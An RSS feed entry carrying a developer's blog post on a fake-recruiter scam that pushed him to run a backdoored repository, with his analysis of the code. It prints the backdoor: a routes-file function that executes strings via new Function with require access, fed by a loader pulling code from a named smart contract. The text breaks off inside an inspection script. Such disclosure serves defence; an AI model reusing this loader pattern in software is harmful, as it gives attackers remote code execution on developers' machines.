<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Toufiqur R. Chowdhury</title>
    <description>The latest articles on Forem by Toufiqur R. Chowdhury (@alien45).</description>
    <link>https://forem.com/alien45</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F149166%2Fa7f8cf3f-65bc-46ef-8560-02e3a2cc1ca4.png</url>
      <title>Forem: Toufiqur R. Chowdhury</title>
      <link>https://forem.com/alien45</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/alien45"/>
    <language>en</language>
    <item>
      <title>Brave New World of Scammers Targeting Developers</title>
      <dc:creator>Toufiqur R. Chowdhury</dc:creator>
      <pubDate>Thu, 22 Jan 2026 18:42:06 +0000</pubDate>
      <link>https://forem.com/alien45/brave-new-world-of-scammers-targeting-developers-313p</link>
      <guid>https://forem.com/alien45/brave-new-world-of-scammers-targeting-developers-313p</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyucdq7coz3nn63fc25lk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyucdq7coz3nn63fc25lk.png" alt="Article image warning developers" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In my &lt;a href="https://dev.to/alien45/i-was-targeted-by-a-fake-employer-running-a-real-npm-supply-chain-attack-54i5"&gt;previous article&lt;/a&gt;, I went deep into the rabbit hole of scammers targeting developers pretending to be employers and running a supply chain attack using malicious NPM packages. Since then I have encountered two more attempts by scammers targeting me, each of them using new tactics and bolder approaches.&lt;/p&gt;

&lt;p&gt;In this article, I will describe how I narrowly avoided a major security breach and once again put my investigative hat on, explain the clever new tactics used by the scammer and dig into the code. This is as much as a learning experience for me as it is to document and warn others about it. While the article is very technical, reading about the details of the events may also be helpful for non-technical readers to learn and potentially avoid online hacking attempts and overall be more cautious dealing with strangers online.&lt;/p&gt;

&lt;p&gt;Please note that while I have been repeatedly targetted, I was cautious and lucky enough to have sniffed the red flags in time to avoid being hacked. However, I came across LinkedIn posts by other who were not as lucky.&lt;/p&gt;

&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
Timeline of Events

&lt;ul&gt;
&lt;li&gt;
December 16, 2025: Initial contact &amp;amp; scheduling a meeting&lt;/li&gt;
&lt;li&gt;
December 17, 2025: Live attempt to hack my computer&lt;/li&gt;
&lt;li&gt;
December 18, 2025: Investigation of the code&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;The Initial Discovery: A Backdoor in Plain Sight&lt;/li&gt;

&lt;li&gt;The Payload Delivery System: A Covert Smart Contract&lt;/li&gt;

&lt;li&gt;

Decoding the &lt;code&gt;getMemo()&lt;/code&gt; Payload

&lt;ul&gt;
&lt;li&gt;The Decoded Backdoor Payload&lt;/li&gt;
&lt;li&gt;Other Malicious Code&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;January 2026: An Attack Hidden Inside Normal Hiring Rituals&lt;/li&gt;

&lt;li&gt;

Safety Tips

&lt;ul&gt;
&lt;li&gt;Editor and Workspace Safety&lt;/li&gt;
&lt;li&gt;Execution and Environment Isolation&lt;/li&gt;
&lt;li&gt;Browser and Network Hygiene&lt;/li&gt;
&lt;li&gt;Recruitment and Social Engineering Red Flags&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Final Thoughts&lt;/li&gt;

&lt;li&gt;Related Discussions&lt;/li&gt;

&lt;li&gt;About the Author&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  Timeline of Events
&lt;/h2&gt;

&lt;h3&gt;
  
  
  December 16, 2025
&lt;/h3&gt;

&lt;p&gt;I received a new connection request from an account named Juan Ibañez. As usual I accepted the connection and sent an intro message to the person asking how they came across my profile.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Flinkedin-message-1.jpg" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 1: Intro message I sent to the fake employer" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Flinkedin-message-1.jpg" width="689" height="263"&gt;&lt;/a&gt;&lt;br&gt;Figure 1: Intro message I sent to the fake employer
  &lt;/p&gt;

&lt;p&gt;In reply, Juan mentioned he's recruiting for a Full Stack Developer position at a betting company.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Flinkedin-message-2.jpg" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 2: First message from the fake employer, Juan Ibañez" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Flinkedin-message-2.jpg" width="800" height="522"&gt;&lt;/a&gt;&lt;br&gt;Figure 2: First message from the fake employer, Juan Ibañez
  &lt;/p&gt;

&lt;p&gt;I replied that I am not open to working in the gambling industry. I figured that would be the end of the conversation.&lt;/p&gt;

&lt;p&gt;However, Juan mentioned there are other open opportunities and asked me to schedule the &lt;strong&gt;initial meeting&lt;/strong&gt; using a Calendly.com link.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Flinkedin-message-3.jpg" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 3: Linkedin message from fake employer with Calendly.com invite link." src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Flinkedin-message-3.jpg" width="602" height="318"&gt;&lt;/a&gt;&lt;br&gt;Figure 3: Linkedin message from fake employer with Calendly.com invite link. 
  &lt;/p&gt;

&lt;p&gt;PS: The logo in the Calendly.com page has since been changed, which indicates they're possibly still using it but pretending to be working for another company called Nubion.&lt;/p&gt;

&lt;p&gt;I booked a slot for the next day for the "initial meeting". However, immediately seeing a different name (Austin Pugh instead of Juan Ibañez), I felt it's a bit odd. While I didn't immediately flag it as suspicious, I had a feeling I needed to be cautious going forward.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Femail-meeting-link.jpg" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 4: Email with calendar event with a Google Meet invitation link" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Femail-meeting-link.jpg" width="772" height="448"&gt;&lt;/a&gt;&lt;br&gt;Figure 4: Email with calendar event with a Google Meet invitation link.
  &lt;/p&gt;

&lt;h3&gt;
  
  
  December 17, 2025
&lt;/h3&gt;

&lt;p&gt;I joined the meeting on time and had my camera and audio on. A couple of minutes later Austin Pugh joined with camera off initially. But then he turned on his camera for a couple of minutes or so during the meeting. I did previously have interviews with legit employers who didn't have their camera on. So, I didn't think of it as a big deal but mentally added it as another reason to be cautious.&lt;/p&gt;

&lt;p&gt;I was asked to describe my background and experiences; and was asked a bunch of short questions like "How many years of experience do you have with XYZ tech?" or "Can you tell me about your experience with XYX tech". These sounded like a very typical initial screening call by recruiters.&lt;/p&gt;

&lt;p&gt;However, as we spoke I noticed a subtle impatience in Austin. When he asked me about one of the skills (I don't remember exactly what it was now) that I didn't have prior experience with. He skipped over it as if I had the skill even though he said that's one of the core technologies used by the company. He seemed very eager to move forward get over with the questions. His attitude caused my brain to add this as the third signal to be even more cautious that I felt before.&lt;/p&gt;

&lt;p&gt;Afer that, Austin told me he wanted to walk me through the project that I will be working on. He shared his screen where he opened a &lt;a href="https://bitbucket.org/beejern-space/beejern/src/main/" rel="noopener noreferrer"&gt;BitBucket repo&lt;/a&gt; and then asked me to clone the repo and run it on my local machine.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Fbitbucket-repo.jpg" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 5: Screenshot of the malicious BitBucket.org repository" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Fbitbucket-repo.jpg" width="800" height="421"&gt;&lt;/a&gt;&lt;br&gt;Figure 5: Screenshot of the malicious BitBucket.org repository.
  &lt;/p&gt;

&lt;p&gt;This immediately triggered my spidey-sense. I told Austin that this is not within the scope of today's meeting. I will clone the repo later. He insisted me to clone and run the project while on the call.&lt;/p&gt;

&lt;p&gt;This confirmed all my suspicions. I no longer had any doubt that this was an attempt to compromise my computer. Recruiters typically do not have the technical depth to walk through code in real time, let alone "walk through the code". I immediately told him "You are a scam. So, I am going to drop the call." and then dropped the call. Austin or Juan never contacted me after that nor did they try to defend their position.&lt;/p&gt;

&lt;h3&gt;
  
  
  December 18, 2025
&lt;/h3&gt;

&lt;p&gt;After dropping the call I immediately downloaded the project repo as a zip file to investigate further. Upon investigation with the help of AI, I discovered a completely new method of incorporating remote code execution (RCE) in a particularly clever way by storing the RCE script in a smart contract on the Binance Smart Chain. In the next chapter, I will discuss in detail what I did to look for suspicious code and how discovered this clever method of attack.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Initial Discovery: A Backdoor in Plain Sight
&lt;/h2&gt;

&lt;p&gt;Since there were no &lt;code&gt;.vscode/tasks.json&lt;/code&gt; file and from my &lt;a href="https://dev.to/alien45/i-was-targeted-by-a-fake-employer-running-a-real-npm-supply-chain-attack-54i5"&gt;previous article&lt;/a&gt; I knew two things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;The backend/NodeJS side is where to look for malicious code first.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It's relatively safe to open the project in VSCode (because no &lt;code&gt;.vscode/tasks.json&lt;/code&gt;) locally even though it might not be safe to run it. However, I still opened it in restricted mode by clicking on &lt;code&gt;No, I don't trust the authors&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Fvscode-restricted-mode-prompt.jpg" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 6: VSCode prompt whether to trust the project or open in restricted mode" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Fvscode-restricted-mode-prompt.jpg" width="551" height="420"&gt;&lt;/a&gt;&lt;br&gt;Figure 6: VSCode prompt whether to trust the project or open in restricted mode.
  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Fvscode-restricted-mode.jpg" class="article-body-image-wrapper"&gt;&lt;img alt="Figure 7: VSCode restricted mode vs trusted mode" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Falien45.github.io%2Fjournal%2F2026-01-21-brave-new-world-of-scammers%2Fassets%2Fvscode-restricted-mode.jpg" width="800" height="431"&gt;&lt;/a&gt;&lt;br&gt;Figure 7: VSCode restricted mode vs trusted mode.
  &lt;/p&gt;

&lt;p&gt;After scanning through the backend code, the first and most critical vulnerability I found was in &lt;code&gt;/backend/routes/routes.js&lt;/code&gt;. At first glance, it looked like a standard Express.js routes file. However, two functions, &lt;code&gt;ContentAsWeb&lt;/code&gt; and an anonymous async function that called it, immediately stood out.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;ContentAsWeb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ensureWeb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;require&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nf"&gt;ensureWeb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The use of &lt;code&gt;new Function()&lt;/code&gt; is a massive red flag. It takes a string and executes it as JavaScript code. In this context, it was being used to execute a &lt;code&gt;payload&lt;/code&gt; with access to the &lt;code&gt;require&lt;/code&gt; function, meaning the executed code could import any Node.js module (&lt;code&gt;fs&lt;/code&gt;, &lt;code&gt;child_process&lt;/code&gt;, etc.) and gain full control over the server.&lt;/p&gt;

&lt;p&gt;But where was this &lt;code&gt;payload&lt;/code&gt; coming from?&lt;/p&gt;

&lt;h3&gt;
  
  
  The Payload Delivery System: A Covert Smart Contract
&lt;/h3&gt;

&lt;p&gt;The payload wasn't hardcoded. Instead, it was fetched from a smart contract on the Binance Smart Chain (BSC). The configuration in &lt;code&gt;/backend/config.js&lt;/code&gt; pointed to the contract address: &lt;code&gt;0x9C4964C3601909d0eeE970a8a9cAE4836Bdf27EF&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The anonymous function in &lt;code&gt;routes.js&lt;/code&gt; was responsible for fetching this payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// ...&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// NFT_TX_IDS was an array:&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;nftDataPromises&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;NFT_TX_IDS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;txId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getMemo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;txId&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;nftDataResults&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;nftDataPromises&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;nftContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;nftDataResults&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nc"&gt;ContentAsWeb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;nftContent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Execute the fetched code&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This code calls a function named &lt;code&gt;getMemo()&lt;/code&gt; on the smart contract with IDs &lt;code&gt;2&lt;/code&gt; and &lt;code&gt;3&lt;/code&gt;, joins the results, and executes them. This is a clever way to hide a malicious payload. It's not in the codebase itself but is dynamically loaded from the blockchain, making it harder to detect with static analysis.&lt;/p&gt;

&lt;h3&gt;
  
  
  Decoding the &lt;code&gt;getMemo()&lt;/code&gt; Payload
&lt;/h3&gt;

&lt;p&gt;When I checked the contract on BscScan, it was &lt;strong&gt;unverified&lt;/strong&gt;. The creator had deliberately hidden the source code. This is the biggest red flag for any smart contract.&lt;/p&gt;

&lt;p&gt;To see what &lt;code&gt;getMemo()&lt;/code&gt; returned without running the malicious app, I used AI to generate a simple HTML file with &lt;code&gt;ethers.js&lt;/code&gt; to call the function directly from my browser and analyze the output.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!doctype html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&lt;/span&gt; &lt;span class="na"&gt;lang=&lt;/span&gt;&lt;span class="s"&gt;"en"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;charset=&lt;/span&gt;&lt;span class="s"&gt;"UTF-8"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Smart Contract Memo Checker&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://cdnjs.cloudflare.com/ajax/libs/ethers/6.7.0/ethers.umd.min.js"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;style&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;body&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nl"&gt;font-family&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
          &lt;span class="n"&gt;-apple-system&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BlinkMacSystemFont&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;"Segoe UI"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Roboto&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Helvetica&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="n"&gt;Arial&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;sans-serif&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nl"&gt;line-height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1.6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;20px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#f4f4f9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#333&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="nt"&gt;h1&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#1a1a1a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="nf"&gt;#output&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#fff&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1px&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt; &lt;span class="m"&gt;#ddd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;15px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nl"&gt;white-space&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;pre-wrap&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nl"&gt;word-wrap&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;break-word&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nl"&gt;font-family&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;"Courier New"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Courier&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;monospace&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="nc"&gt;.loading&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#888&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="nc"&gt;.error&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#d32f2f&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="nc"&gt;.success&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#388e3c&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Smart Contract Inspector&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;
      Querying contract
      &lt;span class="nt"&gt;&amp;lt;strong&amp;gt;&lt;/span&gt;0x9C4964C3601909d0eeE970a8a9cAE4836Bdf27EF&lt;span class="nt"&gt;&amp;lt;/strong&amp;gt;&lt;/span&gt; on the Binance
      Smart Chain.
    &lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"output"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;p&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"loading"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Fetching data from the blockchain...&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;

    &lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
      &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;checkContract&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
